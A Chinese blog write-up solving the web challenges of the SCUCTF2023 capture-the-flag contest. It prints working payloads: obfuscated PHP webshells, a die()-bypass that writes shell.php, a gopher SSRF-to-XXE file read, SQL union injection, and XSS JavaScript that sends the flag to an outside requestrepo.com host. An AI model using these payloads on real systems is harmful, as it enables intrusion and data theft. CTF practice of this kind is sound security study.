SCUCTF2023-WEB部分wp

发布时间 2023-12-16 16:51:37作者: Eddie_Murphy

川大新生赛,出的确实有点水平的,通过一些渠道看了看题打了一些,有些地方还是值得学习学习的。

不鸽了,先写点吧。

因为他们是校园网访问,所以我这边也只能通过一些其他的方法去打,没截图....有附件能复现的尽量复现一下。

主要看的是【Web】SCU新生赛个人wp及完赛感想-CSDN博客这篇blog跟的,原blog作者写的很棒。

Web guideline

F12在hidden就看到了。

 

2048

开始想用本地调试直接改内部函数,因为有个sm3和sm4的加密函数。但是失败了。

结果是我想复杂了,直接console改score的值为99999999999,然后运行那个submit函数提交就有了。

 

ezupload

用的是hex2bin十六进制绕过。

payload:

<?=eval(hex2bin("6576616c28245f504f53545b22636d64225d293b"))?>

后续因为一些原因没打下去,借用其他师傅的说法,看当前美国洛杉矶时间,缩小bp文件路径爆破范围。

bp爆破出文件路径:

hardupload

用的是LFI的方法,getallheader()然后里面套next在UA这里写?,前段时间在newstar做过一个,

<?=eval(next(getallheaders()))?>

然后跟前面大同小异:

ezphp

这个题有点东西,思路很奇特,开始没想到。网上一搜只有绕过die()函数用file_put_contents用base64这种伪协议写进去绕过死亡函数的做法。

但是它们都有一个特点,文件名可控,也就是可以直接写文件名,所以可以用伪协议方法写文件名,然后文件内容就是base64加密的RCE。

这道题不行:

<?php
error_reporting(0);
highlight_file(__FILE__);
file_put_contents('cache.php','<?php die("Hello '.$_GET['name'].'");');
?>

因为cache.php定死了,问了我们队另一个double师傅,最终给了个读环境变量的payload,没见过,偷了(hhhhhh):

?name=%22.serialize($_SERVER));//

然而flag并没有在环境变量,怪起来了。

看了wp才知道还有这种奇特的姿势,直接套file_put_contents(),然后再写马,我超!!!!

?name=".file_put_contents('shell.php','<?php phpinfo();?>')."

访问/cache.php触发file_put_contents,回显18(符合执行成功的返回值)

 环节是本地搭的,后台可以看到shell.php写进去了:

6的。

接下来一样的方式随便写个?,连蚁剑或者直接RCE就行。

ezweb

给了个主机存活检测,猜测是SSRF,因为我们招新赛也遇到过类似打借路由打路由的东西。

查看页面源代码,还有一个xxe.php文件:

if($_SERVER["REMOTE_ADDR"] !== "127.0.0.1"){
    highlight_file(__FILE__);
    die();
}

真的很像啊,犹记得当时-j招新赛问我们队里那道ssrf的出题人也就是我们队的Retr0佬时,他告诉我这个127.0.0.1用什么XFF是绕不过去的,所以这里的思路一眼就是利用这个路由发包伪造本地然后ssrf打这个xxe.php,唉~~

而且都告诉你是XXE了,payload水到渠成:

gopher://127.0.0.1:80/_

POST /xxe.php HTTP/1.1

Host: 127.0.0.1

Content-Length: 180

<?xml version="1.0" encoding="utf-8"?>

<!DOCTYPE info [  

<!ENTITY name SYSTEM "php://filter/read=convert.base64-encode/resource=/flag"> ]>

<info>

<name>&name;

</name></info>

需两次url编码:

gopher://127.0.0.1:80/_%250D%250APOST%2520/xxe.php%2520HTTP/1.1%250D%250AHost%253A%2520127.0.0.1%250D%250AContent-Length%253A%2520180%250D%250A%250D%250A%253C%253Fxml%2520version%253D%25221.0%2522%2520encoding%253D%2522utf-8%2522%253F%253E%250D%250A%253C%2521DOCTYPE%2520info%2520%255B%2520%2520%250D%250A%253C%2521ENTITY%2520name%2520SYSTEM%2520%2522php%253A//filter/read%253Dconvert.base64-encode/resource%253D/flag%2522%253E%2520%255D%253E%2520%250D%250A%253Cinfo%253E%250D%250A%253Cname%253E%2526name%253B%250D%250A%253C/name%253E%253C/info%253E%250D%250A

但是127.0.0.1被ban了,无所谓,直接0.0.0.0或者localhost代替:

gopher://0.0.0.0:80/_%250D%250APOST%2520/xxe.php%2520HTTP/1.1%250D%250AHost%253A%25200.0.0.0%250D%250AContent-Length%253A%2520180%250D%250A%250D%250A%253C%253Fxml%2520version%253D%25221.0%2522%2520encoding%253D%2522utf-8%2522%253F%253E%250D%250A%253C%2521DOCTYPE%2520info%2520%255B%2520%2520%250D%250A%253C%2521ENTITY%2520name%2520SYSTEM%2520%2522php%253A//filter/read%253Dconvert.base64-encode/resource%253D/flag%2522%253E%2520%255D%253E%2520%250D%250A%253Cinfo%253E%250D%250A%253Cname%253E%2526name%253B%250D%250A%253C/name%253E%253C/info%253E%250D%250A

放赛博厨子里就出了。

 

ezsql

小怪,因为我直接用联合注入payload已经把表、列、数据都爆出来了,但是还是提示where_is_flag,那就是另有玄机了。

那么flag会不会在某个存储过程的定义里面?

直接like或者regexp模糊匹配

/index.php?id=-1 union select 1,routine_definition from information_schema.routines where routine_definition like '%scuctf%'

webbuilder

提示要开发出符合它要求的网站,然后被bot检测,利用你写的js直接XSS。

可惜公共环境关了,复现只能用docker。

分析一下:

显然这里就是写XSS的js出口。但有个ip限制。

显然需要爆破找这个uuid,暂时放一放。

看到这里基本明白了,我们需要爆破到uuid然后再打这个report路由,让它getflag。

来看看我们需要开发的东西:

/* api register */
router.get('/register/:domain', async function (req, res) {
    if (req.params.hasOwnProperty('domain')) {
        let resp, data;
        const domain = req.params.domain
        const scheme = domain.includes('ngrok') ? 'https' : 'http';
        const url = `${scheme}://${domain}/`;

        // 你的api需要经过如下检测
        // test the first api: http://domain/test?name=xxx
        const rand = randGenerate(10, 20);

        try {
            ({resp, data} = await sendRequest(url + "test?name=" + rand, {'headers': {}}));
        } catch (err) {
            console.log(err);
            res.send(`${url} test api error`);
            return;
        }

        const contentType = resp.headers['content-type'];
        if (contentType !== 'application/json') {
            res.send("content-type should be application/json")
            return;
        }

        let body = JSON.parse(data);
        let len = body['len'];
        let code = body['code'];
        if (len !== rand.length || code !== 200) {
            res.send("len or code wrong");
            return;
        }

        // test the second api: http://domain/redirect
        for (let i = 0; i < 4; i++) {
            const choice = Math.floor(Math.random() * 10) % 2 === 0
            const options = {
                headers: {
                    'Referer': choice ? url : 'http://evil/'
                }
            };

            try {
                ({resp, data} = await sendRequest(url + "redirect", options));
            } catch (err) {
                res.send(`${url} redirect api error`);
                return;
            }
            const statusCode = resp.statusCode;

            if (choice) {
                // Even Num for http://domain/
                if (statusCode === 302) {
                    if (resp.headers['location'] !== `${url}success`) {
                        res.send("location wrong");
                        return;
                    }
                } else {

                    res.send("status code should be 302 qwq");
                    return;
                }
            } else {
                // Odd Num for http://evil
                if (statusCode === 404) {
                    if (data !== 'this is forbidden') {
                        res.send("Forbidden Me :)");
                        return;
                    }
                } else {
                    res.send("status code should be 404 qwq");
                    return;
                }
            }
        }

        // test the third api: http://domain/js
        try {
            ({_, data} = await sendRequest(url + "js", {'headers': {}}));
        } catch (err) {
            res.send(`${url} js api error`);
            return;
        }
        const jsCode = data;
        const uuid = uuidv4();
        apis.set(uuid, jsCode);
        res.send("congrats! your uuid is: " + uuid);
    } else {
        res.send("Missing parameter <domain>")
    }
});

bot.js:

没什么特别的。

奈何我代码能力实在太拉了,gpt也不好使,只能用一下别人的框架???:

app.py:

from flask import Flask, request, jsonify
 
app = Flask(__name__)
 
@app.route('/test', methods=['GET'])
def test():
    name = request.args.get('name')
 
    # 检查是否提供了 name 参数
    if not name:
        return jsonify(error='Name parameter is missing.'), 400
 
    # 构建返回的 JSON 数据
    responseData = {
        'len': 15,
        'code': 200  # 获取当前时间戳
    }
 
    # 设置响应头的 Content-Type 为 application/json
    return jsonify(responseData)
 
@app.route('/redirect', methods=['GET'])
def redirect_route():
    # 返回状态码为 302 的响应
    return jsonify(), 302, {'Location': 'http://124.222.136.33:3000/success'}
 
@app.route('/success', methods=['GET'])
def success_route():
    # Additional logic for /success route if needed
    return 'Success Route'
 
# 新加的 /js 路由
@app.route('/js', methods=['GET'])
def js_route():
    return """
<!DOCTYPE html>
<html lang="en">
<head>
  <meta charset="UTF-8">
  <meta name="viewport" content="width=device-width, initial-scale=1.0">
  <title>CSP with Nonce Example</title>
  <!-- 将生成的 nonce 值传递到前端脚本 -->
  <script>
    const nonce = 'XssFun';  // 这里替换为实际的 nonce
  </script>
  <!-- 在 script 标签中使用 nonce -->
  <script nonce="XssFun">
    // 在这里执行 JavaScript 代码,访问本地 /flag 路由并获取回显
    
    fetchData()
    
    // 定义获取数据的函数
    async function fetchData() {
      try {
        const response = await fetch('http://127.0.0.1:8080/flag');
        const data = await response.text();  // 使用 text() 获取字符串形式的响应
        location.href="http://0scpvdff.requestrepo.com/?data="+encodeURIComponent(data)
        
 
      
 
      } catch (error) {
        console.error('Error fetching data:', error);
      }
    }
    
  </script>
</head>
<body>
  <!-- 在此可以添加其他 HTML 内容 -->
</body>
</html>
    """
 
if __name__ == '__main__':
    app.run(host="0.0.0.0", port=3000)

因为api检测1那里长度为10-20的随机数,检测2还存在4次全部都是404的可能,所以需要多次爆破:

这样就获得了uuid。

访问/report?uuid=xxx(触发bot.js里封装的visit,xss把flag带出):

借用了Z3r4y师傅的操作,复现确实耗时间....

tarit

前面0xGame做到过一个zip软链接的题目,直接把解压后的路径指向根目录读flag了。

这里依然可以用这种思路。

虽然是tar,但换汤不换药,而且里面有个解压缩包的过程。

环境变量拿下flag:

 

 

后面三个难一点的题目后续再更新吧。

 

 

 

 

 

 

 

 

 

 

 

参考:【Web】SCU新生赛个人wp及完赛感想-CSDN博客